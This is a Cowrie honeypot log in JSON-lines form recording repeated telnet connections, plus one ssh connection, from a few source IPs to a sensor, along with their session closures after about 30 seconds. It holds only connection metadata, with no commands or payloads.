{"eventid":"cowrie.session.closed","duration":30.568562030792236,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:09.035208Z","src_ip":"64.235.40.29","session":"927706b48d11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02309226989746,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:09.041504Z","src_ip":"64.235.40.29","session":"844d7e136d4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.588783264160156,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:09.082175Z","src_ip":"64.235.40.29","session":"009b2531b37e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":39180,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d2cbd007d1e","protocol":"telnet","message":"New connection: 64.235.40.29:39180 (10.17.0.5:23) [session: 3d2cbd007d1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:09.101807Z"}
{"eventid":"cowrie.session.closed","duration":32.25292229652405,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:09.294049Z","src_ip":"64.235.40.29","session":"4a3afd85e946","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":39196,"dst_ip":"10.17.0.5","dst_port":23,"session":"f72ad9fed7f7","protocol":"telnet","message":"New connection: 64.235.40.29:39196 (10.17.0.5:23) [session: f72ad9fed7f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:09.306756Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":39200,"dst_ip":"10.17.0.5","dst_port":23,"session":"79eda11066fe","protocol":"telnet","message":"New connection: 64.235.40.29:39200 (10.17.0.5:23) [session: 79eda11066fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:09.398720Z"}
{"eventid":"cowrie.session.closed","duration":30.717562198638916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:10.033466Z","src_ip":"64.235.40.29","session":"ef84aa23b906","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.579623460769653,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:10.038435Z","src_ip":"64.235.40.29","session":"213c843d6cb8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.777318000793457,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:10.041875Z","src_ip":"64.235.40.29","session":"0bc49e3e7ed1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":39208,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3723dbd6eee","protocol":"telnet","message":"New connection: 64.235.40.29:39208 (10.17.0.5:23) [session: d3723dbd6eee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:10.231422Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":59914,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6bc135eaf1b","protocol":"telnet","message":"New connection: 160.250.4.73:59914 (10.17.0.5:23) [session: a6bc135eaf1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:10.527986Z"}
{"eventid":"cowrie.session.closed","duration":31.04602360725403,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:10.533334Z","src_ip":"64.235.40.29","session":"d8c3cc398d07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":39210,"dst_ip":"10.17.0.5","dst_port":23,"session":"e516f079e057","protocol":"telnet","message":"New connection: 64.235.40.29:39210 (10.17.0.5:23) [session: e516f079e057]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:10.860936Z"}
{"eventid":"cowrie.session.closed","duration":30.16953206062317,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:11.044780Z","src_ip":"64.235.40.29","session":"a92fb3d5c5a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80133295059204,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:11.071418Z","src_ip":"64.235.40.29","session":"ce0617345b9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.428670167922974,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:11.128900Z","src_ip":"160.250.4.73","session":"dde0668daf84","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.152162790298462,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:11.405213Z","src_ip":"64.235.40.29","session":"40e6e235dbff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":59928,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfb859733fd6","protocol":"telnet","message":"New connection: 160.250.4.73:59928 (10.17.0.5:23) [session: dfb859733fd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:11.969720Z"}
{"eventid":"cowrie.session.closed","duration":30.83226776123047,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:12.082802Z","src_ip":"135.148.33.217","session":"4cb262fa2c60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.942851543426514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:12.089037Z","src_ip":"64.235.40.29","session":"112dc0506062","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1964213848114,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:12.286285Z","src_ip":"64.235.40.29","session":"15e1c2b25b5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":39224,"dst_ip":"10.17.0.5","dst_port":23,"session":"116f8e3db082","protocol":"telnet","message":"New connection: 64.235.40.29:39224 (10.17.0.5:23) [session: 116f8e3db082]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:12.319448Z"}
{"eventid":"cowrie.session.closed","duration":30.734304428100586,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:12.375162Z","src_ip":"64.235.40.29","session":"840bac5bb0a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":39226,"dst_ip":"10.17.0.5","dst_port":23,"session":"522ed6570d93","protocol":"telnet","message":"New connection: 64.235.40.29:39226 (10.17.0.5:23) [session: 522ed6570d93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:12.430339Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":39242,"dst_ip":"10.17.0.5","dst_port":23,"session":"b390ad927c4d","protocol":"telnet","message":"New connection: 64.235.40.29:39242 (10.17.0.5:23) [session: b390ad927c4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:12.574612Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":59938,"dst_ip":"10.17.0.5","dst_port":23,"session":"c365c5813808","protocol":"telnet","message":"New connection: 160.250.4.73:59938 (10.17.0.5:23) [session: c365c5813808]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:12.656711Z"}
{"eventid":"cowrie.session.closed","duration":31.422959089279175,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:12.906934Z","src_ip":"104.207.153.205","session":"9bdbcf2252a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.189670085906982,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:13.078672Z","src_ip":"64.235.40.29","session":"2c5677f678de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.468766689300537,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:13.144335Z","src_ip":"64.235.40.29","session":"440a7147c018","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.207.153.205","src_port":42422,"dst_ip":"10.17.0.5","dst_port":23,"session":"451217e93d55","protocol":"telnet","message":"New connection: 104.207.153.205:42422 (10.17.0.5:23) [session: 451217e93d55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:13.188878Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":39230,"dst_ip":"10.17.0.5","dst_port":23,"session":"678d5c595101","protocol":"telnet","message":"New connection: 64.235.40.29:39230 (10.17.0.5:23) [session: 678d5c595101]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:13.261182Z"}
{"eventid":"cowrie.session.closed","duration":31.28348398208618,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:13.402817Z","src_ip":"64.235.40.29","session":"1ebdf897d934","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6228244304657,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:13.427305Z","src_ip":"160.250.4.73","session":"4f46ac08e1f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":39256,"dst_ip":"10.17.0.5","dst_port":23,"session":"771ba835d056","protocol":"telnet","message":"New connection: 64.235.40.29:39256 (10.17.0.5:23) [session: 771ba835d056]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:13.551473Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":39270,"dst_ip":"10.17.0.5","dst_port":23,"session":"99c72d5a33d3","protocol":"telnet","message":"New connection: 64.235.40.29:39270 (10.17.0.5:23) [session: 99c72d5a33d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:13.800524Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":39278,"dst_ip":"10.17.0.5","dst_port":23,"session":"8542ecf18807","protocol":"telnet","message":"New connection: 64.235.40.29:39278 (10.17.0.5:23) [session: 8542ecf18807]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:13.905554Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":39294,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d77ad5a7ce6","protocol":"telnet","message":"New connection: 64.235.40.29:39294 (10.17.0.5:23) [session: 4d77ad5a7ce6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:13.929279Z"}
{"eventid":"cowrie.session.closed","duration":31.300183534622192,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:13.945490Z","src_ip":"64.235.40.29","session":"e56fc088bdfc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.784244060516357,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:14.044892Z","src_ip":"64.235.40.29","session":"408a8f0b587d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":39298,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc4b2831842e","protocol":"telnet","message":"New connection: 64.235.40.29:39298 (10.17.0.5:23) [session: bc4b2831842e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:14.175468Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":39306,"dst_ip":"10.17.0.5","dst_port":23,"session":"0aa287ef90f7","protocol":"telnet","message":"New connection: 64.235.40.29:39306 (10.17.0.5:23) [session: 0aa287ef90f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:14.238296Z"}
{"eventid":"cowrie.session.closed","duration":31.16222095489502,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:14.276462Z","src_ip":"64.235.40.29","session":"ef13b2190a46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.12797522544861,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:14.418545Z","src_ip":"135.148.33.217","session":"8f40a9f5796c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.575258016586304,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:14.805213Z","src_ip":"64.235.40.29","session":"564e459591d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.494770050048828,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:15.045530Z","src_ip":"195.154.29.177","session":"e0bc2d7e7218","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98949956893921,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:15.077069Z","src_ip":"64.235.40.29","session":"8a9dd8b8f0f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":51302,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f8b419f8ffe","protocol":"telnet","message":"New connection: 135.148.33.217:51302 (10.17.0.5:23) [session: 4f8b419f8ffe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:15.135468Z"}
{"eventid":"cowrie.session.closed","duration":30.77945899963379,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:15.148520Z","src_ip":"64.235.40.29","session":"823b1023fc73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":35658,"dst_ip":"10.17.0.5","dst_port":23,"session":"506f1ac0a10f","protocol":"telnet","message":"New connection: 99.198.111.122:35658 (10.17.0.5:23) [session: 506f1ac0a10f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:15.187058Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.207.153.205","src_port":46280,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c54654b2cea","protocol":"telnet","message":"New connection: 104.207.153.205:46280 (10.17.0.5:23) [session: 9c54654b2cea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:15.193999Z"}
{"eventid":"cowrie.session.closed","duration":30.581262350082397,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:15.289890Z","src_ip":"64.235.40.29","session":"1eb857698c38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":47534,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9d5735690f4","protocol":"telnet","message":"New connection: 64.235.40.29:47534 (10.17.0.5:23) [session: d9d5735690f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:15.396965Z"}
{"eventid":"cowrie.session.closed","duration":31.470678329467773,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:15.432812Z","src_ip":"64.235.40.29","session":"36a281a87be9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.22713804244995,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:15.541272Z","src_ip":"64.235.40.29","session":"daffbbf058c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":47540,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a63ff62df6d","protocol":"telnet","message":"New connection: 64.235.40.29:47540 (10.17.0.5:23) [session: 5a63ff62df6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:15.593905Z"}
{"eventid":"cowrie.session.closed","duration":31.624189138412476,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:15.652232Z","src_ip":"160.250.4.73","session":"6f20222300f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16230869293213,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:16.035865Z","src_ip":"64.235.40.29","session":"452b27e0b482","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92565679550171,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:16.042668Z","src_ip":"64.235.40.29","session":"ecb40b4910cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":59950,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c86429dad9c","protocol":"telnet","message":"New connection: 160.250.4.73:59950 (10.17.0.5:23) [session: 4c86429dad9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:16.106567Z"}
{"eventid":"cowrie.session.closed","duration":30.60445761680603,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:16.203437Z","src_ip":"160.250.4.73","session":"874658674486","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":47548,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0652bec9580","protocol":"telnet","message":"New connection: 64.235.40.29:47548 (10.17.0.5:23) [session: a0652bec9580]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:16.266054Z"}
{"eventid":"cowrie.session.closed","duration":31.307413816452026,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:16.693455Z","src_ip":"160.250.4.73","session":"d53bb5aee54b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.228288412094116,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:16.984291Z","src_ip":"160.250.4.73","session":"258a1d0eacc7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78443932533264,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:17.102990Z","src_ip":"64.235.40.29","session":"861509b3d335","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":59962,"dst_ip":"10.17.0.5","dst_port":23,"session":"6213b6153c7c","protocol":"telnet","message":"New connection: 160.250.4.73:59962 (10.17.0.5:23) [session: 6213b6153c7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:17.745410Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":47564,"dst_ip":"10.17.0.5","dst_port":23,"session":"62cc0bc194ee","protocol":"telnet","message":"New connection: 64.235.40.29:47564 (10.17.0.5:23) [session: 62cc0bc194ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:17.817607Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":50580,"dst_ip":"159.203.135.109","dst_port":22,"session":"18684c79af56","protocol":"ssh","message":"New connection: 122.168.114.167:50580 (159.203.135.109:22) [session: 18684c79af56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:17.855480Z"}
{"eventid":"cowrie.session.closed","duration":31.117913484573364,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:17.887437Z","src_ip":"160.250.4.73","session":"4a1ad7ba1cf5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.992523908615112,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:18.062655Z","src_ip":"64.235.40.29","session":"51e9138f3b01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":59972,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f3cd531d13e","protocol":"telnet","message":"New connection: 160.250.4.73:59972 (10.17.0.5:23) [session: 9f3cd531d13e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:18.128403Z"}
{"eventid":"cowrie.session.closed","duration":30.656060457229614,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:18.166247Z","src_ip":"160.250.4.73","session":"9447f204caa0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.730831146240234,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:18.172012Z","src_ip":"64.235.40.29","session":"1cfd31e1d46a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":47558,"dst_ip":"10.17.0.5","dst_port":23,"session":"38c82962695a","protocol":"telnet","message":"New connection: 64.235.40.29:47558 (10.17.0.5:23) [session: 38c82962695a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:18.508873Z"}
{"eventid":"cowrie.session.closed","duration":31.591020822525024,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:18.739334Z","src_ip":"64.235.40.29","session":"3951133b69fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":47566,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ff9b3d9bc0a","protocol":"telnet","message":"New connection: 64.235.40.29:47566 (10.17.0.5:23) [session: 9ff9b3d9bc0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:18.823883Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":35364,"dst_ip":"10.17.0.5","dst_port":23,"session":"95b767164856","protocol":"telnet","message":"New connection: 195.154.29.177:35364 (10.17.0.5:23) [session: 95b767164856]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:19.058034Z"}
{"eventid":"cowrie.session.closed","duration":31.008382320404053,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:19.104045Z","src_ip":"64.235.40.29","session":"b7df390f351c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":47580,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f320cb6c931","protocol":"telnet","message":"New connection: 64.235.40.29:47580 (10.17.0.5:23) [session: 7f320cb6c931]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:19.222025Z"}
{"eventid":"cowrie.session.closed","duration":30.611934185028076,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:19.272542Z","src_ip":"160.250.4.73","session":"5bc29a8a20a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90725016593933,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:19.618281Z","src_ip":"64.235.40.29","session":"8fa22efcfe70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.207.153.205","src_port":46294,"dst_ip":"10.17.0.5","dst_port":23,"session":"46765d4ab53f","protocol":"telnet","message":"New connection: 104.207.153.205:46294 (10.17.0.5:23) [session: 46765d4ab53f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:19.663776Z"}
{"eventid":"cowrie.session.closed","duration":31.416969060897827,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:19.703976Z","src_ip":"64.235.40.29","session":"446a338e6d31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.42483139038086,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:55:19.839774Z","src_ip":"64.235.40.29","session":"2973622bbe9d","protocol":"telnet"}
